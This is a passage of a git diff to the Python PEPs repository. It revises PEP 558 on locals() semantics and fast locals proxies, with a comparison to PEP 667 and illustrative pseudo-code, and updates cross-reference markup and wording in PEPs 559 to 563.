_PyFastLocalsProxy_CheckExact(self) Py_IS_TYPE(op, &_PyFastLocalsProxy_Type) + +This type is what the reference implementation actually returns from +``PyObject_GetAttrString(frame, "f_locals")`` for optimized frames (i.e. +when ``PyFrame_GetLocalsKind()`` returns ``PyLocals_SHALLOW_COPY``). + + +Reducing the runtime overhead of trace hooks +-------------------------------------------- + +As noted in [9]_, the implicit call to ``PyFrame_FastToLocals()`` in the +Python trace hook support isn't free, and could be rendered unnecessary if +the frame proxy read values directly from the frame instead of getting them +from the mapping. + +As the new frame locals proxy type doesn't require separate data refresh steps, +this PEP incorporates Victor Stinner's proposal to no longer implicitly call +``PyFrame_FastToLocalsWithError()`` before calling trace hooks implemented in +Python. -This type is what the reference implementation actually stores in ``f_locals`` -for optimized frames (i.e. when ``PyFrame_GetLocalsReturnsCopy()`` returns -true). +Code using the new fast locals proxy objects will have the dynamic locals snapshot +implicitly refreshed when accessing methods that need it, while code using the +``PyEval_GetLocals()`` API will implicitly refresh it when making that call. +The PEP necessarily also drops the implicit call to ``PyFrame_LocalsToFast()`` +when returning from a trace hook, as that API now always raises an exception. -Design Discussion -================= + +Rationale and Design Discussion +=============================== Changing ``locals()`` to return independent snapshots at function scope ----------------------------------------------------------------------- @@ -582,7 +743,7 @@ function, but finish running after the rebinding operation has taken place (in which case the rebinding will be reverted, which is the bug reported in [1]_). In addition to preserving the de facto semantics which have been in place since -PEP 227 introduced nested scopes in Python 2.1, the other benefit of restricting +:pep:`227` introduced nested scopes in Python 2.1, the other benefit of restricting the write-through proxy support to the implementation-defined frame object API is that it means that only interpreter implementations which emulate the full frame API need to offer the write-through capability at all, and that @@ -596,6 +757,25 @@ frame machinery will allow rebinding of local and nonlocal variable references in a way that is hidden from static analysis. +Retaining the internal frame value cache +---------------------------------------- + +Retaining the internal frame value cache results in some visible quirks when +frame proxy instances are kept around and re-used after name binding and +unbinding operations have been executed on the frame. + +The primary reason for retaining the frame value cache is to maintain backwards +compatibility with the ``PyEval_GetLocals()`` API. That API returns a borrowed +reference, so it must refer to persistent state stored on the frame object. +Storing a fast locals proxy object on the frame creates a problematic reference +cycle, so the cleanest option is to instead continue to return a frame value +cache, just as this function has done since optimised frames were first +introduced. + +With the frame value cache being kept around anyway, it then further made sense +to rely on it to simplify the fast locals proxy mapping implementation. + + What happens with the default args for ``eval()`` and ``exec()``? ----------------------------------------------------------------- @@ -608,7 +788,7 @@ namespace when that is what ``locals()`` returns. This behaviour will have potential performance implications, especially for functions with large numbers of local variables (e.g. if these functions -are called in a loop, calling ``gloabls()`` and ``locals()`` once before the +are called in a loop, calling ``globals()`` and ``locals()`` once before the loop and then passing the namespace into the function explicitly will give the same semantics and performance characteristics as the status quo, whereas relying on the implicit default would create a new shallow copy of the local @@ -660,6 +840,28 @@ emulation of CPython's frame API is already an opt-in flag in some Python implementations). +Continuing to support storing additional data on optimised frames +----------------------------------------------------------------- + +One of the draft iterations of this PEP proposed removing the ability to store +additional data on optimised frames by writing to ``frame.f_locals`` keys that +didn't correspond to local or closure variable names on the underlying frame. + +While this idea offered some attractive simplification of the fast locals proxy +implementation, ``pdb`` stores ``__return__`` and ``__exception__`` values on +arbitrary frames, so the standard library test suite fails if that functionality +no longer works. + +Accordingly, the ability to store arbitrary keys was retained, at the expense +of certain operations on proxy objects being slower than could otherwise be +(since they can't assume that only names defined on the code object will be +accessible through the proxy). + +It is expected that the exact details of the interaction between the fast locals +proxy and the ``f_locals`` value cache on the underlying frame will evolve over +time as opportunities for improvement are identified. + + Historical semantics at function scope -------------------------------------- @@ -719,13 +921,14 @@ into the following cases: operation. This is the ``PyLocals_Get()`` API. * needing to behave differently depending on whether writes to the result of ``PyLocals_Get()`` will be visible to Python code or not. This is handled by - the ``PyLocals_GetReturnsCopy()`` query API. + the ``PyLocals_GetKind()`` query API. * always wanting a mutable namespace that has been pre-populated from the current Python ``locals()`` namespace, but *not* wanting any changes to be visible to Python code. This is the ``PyLocals_GetCopy()`` API. * always wanting a read-only view of the current locals namespace, without - incurring the runtime overhead of making a full copy each time. This is the - ``PyLocals_GetView()`` and ``PyLocals_RefreshViews()`` APIs. + incurring the runtime overhead of making a full copy each time. This isn't + readily offered for optimised frames due to the need to check whether names + are currently bound or not, so no specific API is being added to cover it. Historically, these kinds of checks and operations would only have been possible if a Python implementation emulated the full CPython frame API. With @@ -734,6 +937,328 @@ semantics that they actually need, giving Python implementations more flexibility in how they provide those capabilities. +Comparison with PEP 667 +----------------------- + +:pep:`667` offers a partially competing proposal for this PEP that suggests it +would be reasonable to eliminate the internal frame value cache on optimised +frames entirely. + +These changes were originally offered as amendments to :pep:`558`, and the PEP +author rejected them for three main reasons: + +* the initial claim that ``PyEval_GetLocals()`` was unfixable because it returns + a borrowed reference was simply false, as it is still working in the :pep:`558` + reference implementation. All that is required to keep it working is to + retain the internal frame value cache and design the fast locals proxy in + such a way that it is reasonably straightforward to keep the cache up to date + with changes in the frame state without incurring significant runtime overhead + when the cache isn't needed. Given that this claim is false, the proposal to + require that all code using the ``PyEval_GetLocals()`` API be rewritten to use + a new API with different refcounting semantics fails :pep:`387`'s requirement + that API compatibility breaks should have a large benefit to breakage ratio + (since there's no significant benefit gained from dropping the cache, no code + breakage can be justified). The only genuinely unfixable public API is + ``PyFrame_LocalsToFast()`` (which is why both PEPs propose breaking that). +* without some form of internal value cache, the API performance characteristics + of the fast locals proxy mapping become quite unintuitive. ``len(proxy)``, for + example, becomes consistently O(n) in the number of variables defined on the + frame, as the proxy has to iterate over the entire fast locals array to see + which names are currently bound to values before it can determine the answer. + By contrast, maintaining an internal frame value cache potentially allows + proxies to largely be treated as normal dictionaries from an algorithmic + complexity point of view, with allowances only needing to be made for the + initial implicit O(n) cache refresh that runs the first time an operation + that relies on the cache being up to date is executed. +* the claim that a cache-free implementation would be simpler is highly suspect, + as :pep:`667` includes only a pure Python sketch of a subset of a mutable mapping + implementation, rather than a full-fledged C implementation of a new mapping + type integrated with the underlying data storage for optimised frames. + :pep:`558`'s fast locals proxy implementation delegates heavily to the + frame value cache for the operations needed to fully implement the mutable + mapping API, allowing it to re-use the existing dict implementations of the + following operations: + + * ``__len__`` + * ``__str__`` + * ``__or__`` (dict union) + * ``__iter__`` (allowing the ``dict_keyiterator`` type to be reused) + * ``__reversed__`` (allowing the ``dict_reversekeyiterator`` type to be reused) + * ``keys()`` (allowing the ``dict_keys`` type to be reused) + * ``values()`` (allowing the ``dict_values`` type to be reused) + * ``items()`` (allowing the ``dict_items`` type to be reused) + * ``copy()`` + * ``popitem()`` + * value comparison operations + +Of the three reasons, the first is the most important (since we need compelling +reasons to break API backwards compatibility, and we don't have them). + +However, after reviewing :pep:`667`'s proposed Python level semantics, the author +of this PEP eventually agreed that they *would* be simpler for users of the +Python ``locals()`` API, so this distinction between the two PEPs has been +eliminated: regardless of which PEP and implementation is accepted, the fast +locals proxy object *always* provides a consistent view of the current state +of the local variables, even if this results in some operations becoming O(n) +that would be O(1) on a regular dictionary (specifically, ``len(proxy)`` +becomes O(n), since it needs to check which names are currently bound, and proxy +mapping comparisons avoid relying on the length check optimisation that allows +differences in the number of stored keys to be detected quickly for regular +mappings). + +Due to the adoption of these non-standard performance characteristics in the +proxy implementation, the ``PyLocals_GetView()`` and ``PyFrame_GetLocalsView()`` +C APIs were also removed from the proposal in this PEP. + +This leaves the only remaining points of distinction between the two PEPs as +specifically related to the C API: + +* :pep:`667` still proposes completely unnecessary C API breakage (the programmatic + deprecation and eventual removal of ``PyEval_GetLocals()``, + ``PyFrame_FastToLocalsWithError()``, and ``PyFrame_FastToLocals()``) without + justification, when it is entirely possible to keep these working indefintely + (and interoperably) given a suitably designed fast locals proxy implementation +* the fast locals proxy handling of additional variables is defined in this PEP + in a way that is fully interoperable with the existing ``PyEval_GetLocals()`` + API. In the proxy implementation proposed in :pep:`667`, users of the new frame + API will not see changes made to additional variables by users of the old API, + and changes made to additional variables via the old API will be overwritten + on subsequent calls to ``PyEval_GetLocals()``. +* the ``PyLocals_Get()`` API in this PEP is called ``PyEval_Locals()`` in :pep:`667`. + This function name is a bit strange as it lacks a verb, making it look more + like a type name than a data access API. +* this PEP adds ``PyLocals_GetCopy()`` and ``PyFrame_GetLocalsCopy()`` APIs to + allow extension modules to easily avoid incurring a double copy operation in + frames where ``PyLocals_Get()`` alreadys makes a copy +* this PEP adds ``PyLocals_Kind``, ``PyLocals_GetKind()``, and + ``PyFrame_GetLocalsKind()`` to allow extension modules to identify when code + is running at function scope without having to inspect non-portable frame and + code object APIs (without the proposed query API, the existing equivalent to + the new ``PyLocals_GetKind() == PyLocals_SHALLOW_COPY`` check is to include + the CPython internal frame API headers and check if + ``_PyFrame_GetCode(PyEval_GetFrame())->co_flags & CO_OPTIMIZED`` is set) + +The Python pseudo-code below is based on the implementation sketch presented +in :pep:`667` as of the time of writing (2021-10-24). The differences that +provide the improved interoperability between the new fast locals proxy API +and the existing ``PyEval_GetLocals()`` API are noted in comments. + +As in :pep:`667`, all attributes that start with an underscore are invisible and +cannot be accessed directly. They serve only to illustrate the proposed design. + +For simplicity (and as in :pep:`667`), the handling of module and class level +frames is omitted (they're much simpler, as ``_locals`` *is* the execution +namespace, so no translation is required). + +:: + + NULL: Object # NULL is a singleton representing the absence of a value. + + class CodeType: + + _name_to_offset_mapping_impl: dict | NULL + ... + + def __init__(self, ...): + self._name_to_offset_mapping_impl = NULL + self._variable_names = deduplicate( + self.co_varnames + self.co_cellvars + self.co_freevars + ) + ... + + def _is_cell(self, offset): + ... # How the interpreter identifies cells is an implementation detail + + @property + def _name_to_offset_mapping(self): + "Mapping of names to offsets in local variable array." + if self._name_to_offset_mapping_impl is NULL: + + self._name_to_offset_mapping_impl = { + name: index for (index, name) in enumerate(self._variable_names) + } + return self._name_to_offset_mapping_impl + + class FrameType: + + _fast_locals : array[Object] # The values of the local variables, items may be NULL. + _locals: dict | NULL # Dictionary returned by PyEval_GetLocals() + + def __init__(self, ...): + self._locals = NULL + ... + + @property + def f_locals(self): + return FastLocalsProxy(self) + + class FastLocalsProxy: + + __slots__ "_frame" + + def __init__(self, frame:FrameType): + self._frame = frame + + def _set_locals_entry(self, name, val): + f = self._frame + if f._locals is NULL: + f._locals = {} + f._locals[name] = val + + def __getitem__(self, name): + f = self._frame + co = f.f_code + if name in co._name_to_offset_mapping: + index = co._name_to_offset_mapping[name] + val = f._fast_locals[index] + if val is NULL: + raise KeyError(name) + if co._is_cell(offset) + val = val.cell_contents + if val is NULL: + raise KeyError(name) + # PyEval_GetLocals() interop: implicit frame cache refresh + self._set_locals_entry(name, val) + return val + # PyEval_GetLocals() interop: frame cache may contain additional names + if f._locals is NULL: + raise KeyError(name) + return f._locals[name] + + def __setitem__(self, name, value): + f = self._frame + co = f.f_code + if name in co._name_to_offset_mapping: + index = co._name_to_offset_mapping[name] + kind = co._local_kinds[index] + if co._is_cell(offset) + cell = f._locals[index] + cell.cell_contents = val + else: + f._fast_locals[index] = val + # PyEval_GetLocals() interop: implicit frame cache update + # even for names that are part of the fast locals array + self._set_locals_entry(name, val) + + def __delitem__(self, name): + f = self._frame + co = f.f_code + if name in co._name_to_offset_mapping: + index = co._name_to_offset_mapping[name] + kind = co._local_kinds[index] + if co._is_cell(offset) + cell = f._locals[index] + cell.cell_contents = NULL + else: + f._fast_locals[index] = NULL + # PyEval_GetLocals() interop: implicit frame cache update + # even for names that are part of the fast locals array + if f._locals is not NULL: + del f._locals[name] + + def __iter__(self): + f = self._frame + co = f.f_code + for index, name in enumerate(co._variable_names): + val = f._fast_locals[index] + if val is NULL: + continue + if co._is_cell(offset): + val = val.cell_contents + if val is NULL: + continue + yield name + for name in f._locals: + # Yield any extra names not defined on the frame + if name in co._name_to_offset_mapping: + continue + yield name + + def popitem(self): + f = self._frame + co = f.f_code + for name in self: + val = self[name] + # PyEval_GetLocals() interop: implicit frame cache update + # even for names that are part of the fast locals array + del name + return name, val + + def _sync_frame_cache(self): + # This method underpins PyEval_GetLocals, PyFrame_FastToLocals + # PyFrame_GetLocals, PyLocals_Get, mapping comparison, etc + f = self._frame + co = f.f_code + res = 0 + if f._locals is NULL: + f._locals = {} + for index, name in enumerate(co._variable_names): + val = f._fast_locals[index] + if val is NULL: + f._locals.pop(name, None) + continue + if co._is_cell(offset): + if val.cell_contents is NULL: + f._locals.pop(name, None) + continue + f._locals[name] = val + + def __len__(self): + self._sync_frame_cache() + return len(self._locals) + +Note: the simplest way to convert the earlier iterations of the :pep:`558` +reference implementation into a preliminary implementation of the now proposed +semantics is to remove the ``frame_cache_updated`` checks in affected operations, +and instead always sync the frame cache in those methods. Adopting that approach +changes the algorithmic complexity of the following operations as shown (where +``n`` is the number of local and cell variables defined on the frame): + + * ``__len__``: O(1) -> O(n) + * value comparison operations: no longer benefit from O(1) length check shortcut + * ``__iter__``: O(1) -> O(n) + * ``__reversed__``: O(1) -> O(n) + * ``keys()``: O(1) -> O(n) + * ``values()``: O(1) -> O(n) + * ``items()``: O(1) -> O(n) + * ``popitem()``: O(1) -> O(n) + +The length check and value comparison operations have relatively limited +opportunities for improvement: without allowing usage of a potentially stale +cache, the only way to know how many variables are currently bound is to iterate +over all of them and check, and if the implementation is going to be spending +that many cycles on an operation anyway, it may as well spend it updating the +frame value cache and then consuming the result. These operations are O(n) in +both this PEP and in :pep:`667`. Customised implementations could be provided that +*are* faster than updating the frame cache, but it's far from clear that the +extra code complexity needed to speed these operations up would be worthwhile +when it only offers a linear performance improvement rather than an algorithmic +complexity improvement. + +The O(1) nature of the other operations can be restored by adding implementation +code that doesn't rely on the value cache being up to date. + +Keeping the iterator/iterable retrieval methods as ``O(1)`` will involve +writing custom replacements for the corresponding builtin dict helper types, +just as proposed in :pep:`667`. As illustrated above, the implementations would +be similar to the pseudo-code presented in :pep:`667`, but not identical (due to +the improved ``PyEval_GetLocals()`` interoperability offered by this PEP +affecting the way it stores extra variables). + +``popitem()`` can be improved from "always O(n)" to "O(n) worst case" by +creating a custom implementation that relies on the improved iteration APIs. + +To ensure stale frame information is never presented in the Python fast locals +proxy API, these changes in the reference implementation will need to be +implemented before merging. + +The current implementation at time of writing (2021-10-24) also still stores a +copy of the fast refs mapping on each frame rather than storing a single +instance on the underlying code object (as it still stores cell references +directly, rather than check for cells on each fast locals array access). Fixing +this would also be required before merging. + + Implementation ============== @@ -749,7 +1274,20 @@ Thanks to Nathaniel J. Smith for proposing the write-through proxy idea in PEP that attempted to avoid introducing such a proxy. Thanks to Steve Dower and Petr Viktorin for asking that more attention be paid -to the developer experience of the proposed C API additions [8]_. +to the developer experience of the proposed C API additions [8,13]_. + +Thanks to Larry Hastings for the suggestion on how to use enums in the stable +ABI while ensuring that they safely support typecasting from arbitrary +integers. + +Thanks to Mark Shannon for pushing for further simplification of the C level +API and semantics, as well as significant clarification of the PEP text (and for +restarting discussion on the PEP in early 2021 after a further year of +inactivity) [10,11,12]_. Mark's comments that were ultimately published as +:pep:`667` also directly resulted in several implementation efficiency improvements +that avoid incurring the cost of redundant O(n) mapping refresh operations +when the relevant mappings aren't used, as well as the change to ensure that +the state reported through the Python level ``f_locals`` API is never stale. References @@ -779,11 +1317,26 @@ References .. [8] Discussion of more intentionally designed C API enhancements (https://discuss.python.org/t/pep-558-defined-semantics-for-locals/2936/3) +.. [9] Disable automatic update of frame locals during tracing + (https://bugs.python.org/issue42197) + +.. [10] python-dev thread: Resurrecting PEP 558 (Defined semantics for locals()) + (https://mail.python.org/archives/list/python-dev@python.org/thread/TUQOEWQSCQZPUDV2UFFKQ3C3I4WGFPAJ/) + +.. [11] python-dev thread: Comments on PEP 558 + (https://mail.python.org/archives/list/python-dev@python.org/thread/A3UN4DGBCOB45STE6AQBITJFW6UZE43O/) + +.. [12] python-dev thread: More comments on PEP 558 + (https://mail.python.org/archives/list/python-dev@python.org/thread/7TKPMD5LHCBXGFUIMKDAUZELRH6EX76S/) + +.. [13] Petr Viktorin's suggestion to use an enum for ``PyLocals_Get``'s behaviour + (https://mail.python.org/archives/list/python-dev@python.org/message/BTQUBHIVE766RPIWLORC5ZYRCRC4CEBL/) Copyright ========= -This document has been placed in the public domain. +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0559.rst b/pep-0559.rst index 4c99f2fe33b..63574e256ce 100644 --- a/pep-0559.rst +++ b/pep-0559.rst @@ -24,7 +24,7 @@ It is trivial to implement a no-op function in Python. It's so easy in fact that many people do it many times over and over again. It would be useful in many cases to have a common built-in function that does nothing. -One use case would be for PEP 553, where you could set the breakpoint +One use case would be for :pep:`553`, where you could set the breakpoint environment variable to the following in order to effectively disable it:: $ setenv PYTHONBREAKPOINT=noop diff --git a/pep-0560.rst b/pep-0560.rst index d3bcd481143..f94589463f0 100644 --- a/pep-0560.rst +++ b/pep-0560.rst @@ -13,10 +13,10 @@ Resolution: https://mail.python.org/pipermail/python-dev/2017-December/151038.ht Abstract ======== -Initially PEP 484 was designed in such way that it would not introduce +Initially :pep:`484` was designed in such way that it would not introduce *any* changes to the core CPython interpreter. Now type hints and -the ``typing`` module are extensively used by the community, e.g. PEP 526 -and PEP 557 extend the usage of type hints, and the backport of ``typing`` +the ``typing`` module are extensively used by the community, e.g. :pep:`526` +and :pep:`557` extend the usage of type hints, and the backport of ``typing`` on PyPI has 1M downloads/month. Therefore, this restriction can be removed. It is proposed to add two special methods ``__class_getitem__`` and ``__mro_entries__`` to the core CPython for better support of @@ -38,7 +38,7 @@ Performance The ``typing`` module is one of the heaviest and slowest modules in the standard library even with all the optimizations made. Mainly this is -because subscripted generic types (see PEP 484 for definition of terms used +because subscripted generic types (see :pep:`484` for definition of terms used in this PEP) are class objects (see also [1]_). There are three main ways how the performance can be improved with the help of the proposed special methods: @@ -244,7 +244,7 @@ and deferring all check to static type checkers only:: Such class can be used as a normal generic in Python type annotations (a corresponding stub file should be provided for static type checkers, -see PEP 484 for details):: +see :pep:`484` for details):: from simple_extension import SimpleGeneric from typing import TypeVar diff --git a/pep-0561.rst b/pep-0561.rst index 454b258d8ed..eda523017a9 100644 --- a/pep-0561.rst +++ b/pep-0561.rst @@ -1,8 +1,9 @@ PEP: 561 Title: Distributing and Packaging Type Information Author: Ethan Smith -Status: Accepted +Status: Final Type: Standards Track +Topic: Packaging, Typing Content-Type: text/x-rst Created: 09-Sep-2017 Python-Version: 3.7 @@ -12,7 +13,7 @@ Post-History: 10-Sep-2017, 12-Sep-2017, 06-Oct-2017, 26-Oct-2017, 12-Apr-2018 Abstract ======== -PEP 484 introduced type hinting to Python, with goals of making typing +:pep:`484` introduced type hinting to Python, with goals of making typing gradual and easy to adopt. Currently, typing information must be distributed manually. This PEP provides a standardized means to leverage existing tooling to package and distribute type information with minimal work and an ordering @@ -34,8 +35,9 @@ typeshed [1]_. However, this does not scale and becomes a burden on the maintainers of typeshed. In addition, it ties bug fixes in stubs to releases of the tool using typeshed. -PEP 484 has a brief section on distributing typing information. In this -section [2]_ the PEP recommends using ``shared/typehints/pythonX.Y/`` for +:pep:`484` has a brief section on distributing typing information. In this +:pep:`section <484#storing-and-distributing-stub-files>` +the PEP recommends using ``shared/typehints/pythonX.Y/`` for shipping stub files. However, manually adding a path to stub files for each third party library does not scale. The simplest approach people have taken is to add ``site-packages`` to their ``MYPYPATH``, but this causes type @@ -47,16 +49,16 @@ Definition of Terms =================== The definition of "MAY", "MUST", and "SHOULD", and "SHOULD NOT" are -to be interpreted as described in RFC 2119. +to be interpreted as described in :rfc:`2119`. -"inline" - the types are part of the runtime code using PEP 526 and -PEP 3107 syntax (the filename ends in ``.py``). +"inline" - the types are part of the runtime code using :pep:`526` and +:pep:`3107` syntax (the filename ends in ``.py``). "stubs" - files containing only type information, empty of runtime code (the filename ends in ``.pyi``). "Distributions" are the packaged files which are used to publish and distribute -a release. [3]_ +a release. (:pep:`426`) "Module" a file containing Python runtime code or stubbed type information. @@ -86,8 +88,8 @@ packaging and deployment. The two major parts of this specification are the packaging specifications and the resolution order for resolving module type information. The type -checking spec is meant to replace the ``shared/typehints/pythonX.Y/`` spec -of PEP 484 [2]_. +checking spec is meant to replace the ``shared/typehints/pythonX.Y/`` +:pep:`spec of PEP 484 <484#storing-and-distributing-stub-files>`. New third party stub libraries SHOULD distribute stubs via the third party packaging methods proposed in this PEP in place of being added to typeshed. @@ -119,12 +121,14 @@ Distutils option example:: ..., ) -For namespace packages (see PEP 420), the ``py.typed`` file should be in the +For namespace packages (see :pep:`420`), the ``py.typed`` file should be in the submodules of the namespace, to avoid conflicts and for clarity. This PEP does not support distributing typing information as part of -module-only distributions. The code should be refactored into a package-based -distribution and indicate that the package supports typing as described +module-only distributions or single-file modules within namespace packages. + +The single-file module should be refactored into a package +and indicate that the package supports typing as described above. Stub-only Packages @@ -156,6 +160,28 @@ in pip 9.0, if you update ``flyingcircus-stubs``, it will update ``--upgrade-strategy=only-if-needed`` flag. In pip 10.0 this is the default behavior. +For namespace packages (see :pep:`420`), stub-only packages should +use the ``-stubs`` suffix on only the root namespace package. +All stub-only namespace packages should omit ``__init__.pyi`` files. ``py.typed`` +marker files are not necessary for stub-only packages, but similarly +to packages with inline types, if used, they should be in submodules of the namespace to +avoid conflicts and for clarity. + +For example, if the ``pentagon`` and ``hexagon`` are separate distributions +installing within the namespace package ``shapes.polygons`` +The corresponding types-only distributions should produce packages +laid out as follows:: + + shapes-stubs + └── polygons + └── pentagon + └── __init__.pyi + + shapes-stubs + └── polygons + └── hexagon +    └── __init__.pyi + Type Checker Module Resolution Order ------------------------------------ @@ -180,6 +206,11 @@ resolve modules containing type information: 5. Typeshed (if used) - Provides the stdlib types and several third party libraries. +If typecheckers identify a stub-only namespace package without the desired module +in step 3, they should continue to step 4/5. Typecheckers should identify namespace packages +by the absence of ``__init__.pyi``. This allows different subpackages to +independently opt for inline vs stub-only. + Type checkers that check a different Python version than the version they run on MUST find the type information in the ``site-packages``/``dist-packages`` of that Python version. This can be queried e.g. @@ -204,8 +235,15 @@ typeshed folder and type checking the combined directory structure. Thus type checkers MUST maintain the normal resolution order of checking ``*.pyi`` before ``*.py`` files. -If a stub package is partial it MUST include ``partial\n`` in a top level -``py.typed`` file. +If a stub package distribution is partial it MUST include ``partial\n`` in a +``py.typed`` file. For stub-packages distributing within a namespace +package (see :pep:`420`), the ``py.typed`` file should be in the +submodules of the namespace. + +Type checkers should treat namespace packages within stub-packages as +incomplete since multiple distributions may populate them. +Regular packages within namespace packages in stub-package distributions +are considered complete unless a ``py.typed`` with ``partial\n`` is included. Implementation @@ -218,7 +256,7 @@ sample package checker [pkg_checker]_ which reads the metadata of installed packages and reports on their status as either not typed, inline typed, or a stub package. -The mypy type checker has an implementation of PEP 561 searching which can be +The mypy type checker has an implementation of :pep:`561` searching which can be read about in the mypy docs [4]_. [numpy-stubs]_ is an example of a real stub-only package for the numpy @@ -236,6 +274,11 @@ Vlasovskikh, Nathaniel Smith, and Guido van Rossum. Version History =============== +* 2021-09-20 + + * Clarify expectations and typechecker behavior for stub-only namespace packages + * Clarify handling of single-file modules within namespace packages. + * 2018-07-09 * Add links to sample stub-only packages @@ -293,12 +336,6 @@ References ========== .. [1] Typeshed (https://github.com/python/typeshed) -.. [2] PEP 484, Storing and Distributing Stub Files - (https://www.python.org/dev/peps/pep-0484/#storing-and-distributing-stub-files) - -.. [3] PEP 426 definitions - (https://www.python.org/dev/peps/pep-0426/) - .. [4] Example implementation in a type checker (https://mypy.readthedocs.io/en/latest/installed_packages.html) diff --git a/pep-0562.rst b/pep-0562.rst index c16712955c6..d353e97cb38 100644 --- a/pep-0562.rst +++ b/pep-0562.rst @@ -74,12 +74,12 @@ imports. Consider a simple example:: import lib lib.submod.HeavyClass # prints "Submodule loaded" -There is a related proposal PEP 549 that proposes to support instance +There is a related proposal :pep:`549` that proposes to support instance properties for a similar functionality. The difference is this PEP proposes a faster and simpler mechanism, but provides more basic customization. -An additional motivation for this proposal is that PEP 484 already defines +An additional motivation for this proposal is that :pep:`484` already defines the use of module ``__getattr__`` for this purpose in Python stub files, -see [1]_. +see :pep:`484#stub-files`. In addition, to allow modifying result of a ``dir()`` call on a module to show deprecated and other dynamically generated attributes, it is @@ -184,9 +184,6 @@ called only once. References ========== -.. [1] PEP 484 section about ``__getattr__`` in stub files - (https://www.python.org/dev/peps/pep-0484/#stub-files) - .. [2] The reference implementation (https://github.com/ilevkivskyi/cpython/pull/3/files) diff --git a/pep-0563.rst b/pep-0563.rst index ac98282a49a..2d43178c0b5 100644 --- a/pep-0563.rst +++ b/pep-0563.rst @@ -3,36 +3,36 @@ Title: Postponed Evaluation of Annotations Version: $Revision$ Last-Modified: $Date$ Author: Łukasz Langa -Discussions-To: Python-Dev +Discussions-To: python-dev@python.org Status: Accepted Type: Standards Track Content-Type: text/x-rst Created: 08-Sep-2017 Python-Version: 3.7 -Post-History: 1-Nov-2017, 21-Nov-2017 +Post-History: 01-Nov-2017, 21-Nov-2017 Resolution: https://mail.python.org/pipermail/python-dev/2017-December/151042.html Abstract ======== -PEP 3107 introduced syntax for function annotations, but the semantics -were deliberately left undefined. PEP 484 introduced a standard meaning -to annotations: type hints. PEP 526 defined variable annotations, +:pep:`3107` introduced syntax for function annotations, but the semantics +were deliberately left undefined. :pep:`484` introduced a standard meaning +to annotations: type hints. :pep:`526` defined variable annotations, explicitly tying them with the type hinting use case. This PEP proposes changing function annotations and variable annotations so that they are no longer evaluated at function definition time. Instead, they are preserved in ``__annotations__`` in string form. -This change is going to be introduced gradually, starting with a new +This change is being introduced gradually, starting with a ``__future__`` import in Python 3.7. Rationale and Goals =================== -PEP 3107 added support for arbitrary annotations on parts of a function +:pep:`3107` added support for arbitrary annotations on parts of a function definition. Just like default values, annotations are evaluated at function definition time. This creates a number of issues for the type hinting use case: @@ -45,11 +45,13 @@ hinting use case: computationally free. Postponing the evaluation of annotations solves both problems. +NOTE: :pep:`649` proposes an alternative solution to the above issues, +putting this PEP in danger of being superseded. Non-goals --------- -Just like in PEP 484 and PEP 526, it should be emphasized that **Python +Just like in :pep:`484` and :pep:`526`, it should be emphasized that **Python will remain a dynamically typed language, and the authors have no desire to ever make type hints mandatory, even by convention.** @@ -67,14 +69,14 @@ Non-typing usage of annotations While annotations are still available for arbitrary use besides type checking, it is worth mentioning that the design of this PEP, as well -as its precursors (PEP 484 and PEP 526), is predominantly motivated by +as its precursors (:pep:`484` and :pep:`526`), is predominantly motivated by the type hinting use case. -In Python 3.8 PEP 484 will graduate from provisional status. Other -enhancements to the Python programming language like PEP 544, PEP 557, -or PEP 560, are already being built on this basis as they depend on -type annotations and the ``typing`` module as defined by PEP 484. -In fact, the reason PEP 484 is staying provisional in Python 3.7 is to +In Python 3.8 :pep:`484` will graduate from provisional status. Other +enhancements to the Python programming language like :pep:`544`, :pep:`557`, +or :pep:`560`, are already being built on this basis as they depend on +type annotations and the ``typing`` module as defined by :pep:`484`. +In fact, the reason :pep:`484` is staying provisional in Python 3.7 is to enable rapid evolution for another release cycle that some of the aforementioned enhancements require. @@ -85,7 +87,7 @@ aforementioned PEPs should be considered deprecated. Implementation ============== -In Python 3.10, function and variable annotations will no longer be +With this PEP, function and variable annotations will no longer be evaluated at definition time. Instead, a string form will be preserved in the respective ``__annotations__`` dictionary. Static type checkers will see no difference in behavior, whereas tools using annotations at @@ -102,7 +104,7 @@ Annotations can only use names present in the module scope as postponed evaluation using local names is not reliable (with the sole exception of class-level names resolved by ``typing.get_type_hints()``). -Note that as per PEP 526, local variable annotations are not evaluated +Note that as per :pep:`526`, local variable annotations are not evaluated at all since they are not accessible outside of the function's closure. Enabling the future behavior in Python 3.7 @@ -259,15 +261,18 @@ valid. They can use local names or the fully qualified name. Example:: def method(self) -> C.D.field2: # this is OK ... - def method(self) -> D.field2: # this is OK - ... + def method(self) -> D.field2: # this FAILS, class D is local to C + ... # and is therefore only available + # as C.D. This was already true + # before the PEP. def method(self) -> field2: # this is OK ... - def method(self) -> field: # this FAILS, class D doesn't - ... # see C's attributes, This was - # already true before this PEP. + def method(self) -> field: # this FAILS, field is local to C and + # is therefore not visible to D unless + # accessed as C.field. This was already + # true before the PEP. In the presence of an annotation that isn't a syntactically valid expression, SyntaxError is raised at compile time. However, since names @@ -280,9 +285,10 @@ Deprecation policy Starting with Python 3.7, a ``__future__`` import is required to use the described functionality. No warnings are raised. -In Python 3.10 this will become the default behavior. Use of annotations -incompatible with this PEP is no longer supported. - +NOTE: Whether this will eventually become the default behavior is currently unclear +pending decision on :pep:`649`. In any case, use of annotations that depend upon +their eager evaluation is incompatible with both proposals and is no longer +supported. Forward References ================== @@ -418,7 +424,7 @@ never be able to use forward references since that would force the library users to use this new hypothetical -O switch. Second, this throws the baby out with the bath water. Now *no* runtime -annotation use can be performed. PEP 557 is one example of a recent +annotation use can be performed. :pep:`557` is one example of a recent development where evaluating type annotations at runtime is useful. All that being said, a granular -O option to drop annotations is @@ -469,7 +475,7 @@ Prior discussion In PEP 484 ---------- -The forward reference problem was discussed when PEP 484 was originally +The forward reference problem was discussed when :pep:`484` was originally drafted, leading to the following statement in the document: A compromise is possible where a ``__future__`` import could enable @@ -521,7 +527,7 @@ beginners: While typing usability is an interesting problem, it is out of scope of this PEP. Specifically, any extensions of the typing syntax -standardized in PEP 484 will require their own respective PEPs and +standardized in :pep:`484` will require their own respective PEPs and approval. Issue 400 ultimately suggests postponing evaluation of annotations and @@ -635,7 +641,7 @@ introspectable as strings. Most importantly, Guido van Rossum explicitly stated interest in gradually restricting the use of annotations to static typing (with an optional runtime component). -Nick Coghlan got convinced to PEP 563, too, promptly beginning +Nick Coghlan got convinced to :pep:`563`, too, promptly beginning the mandatory bike shedding session on the name of the ``__future__`` import. Many debaters agreed that ``annotations`` seems like an overly broad name for the feature name. Guido van Rossum 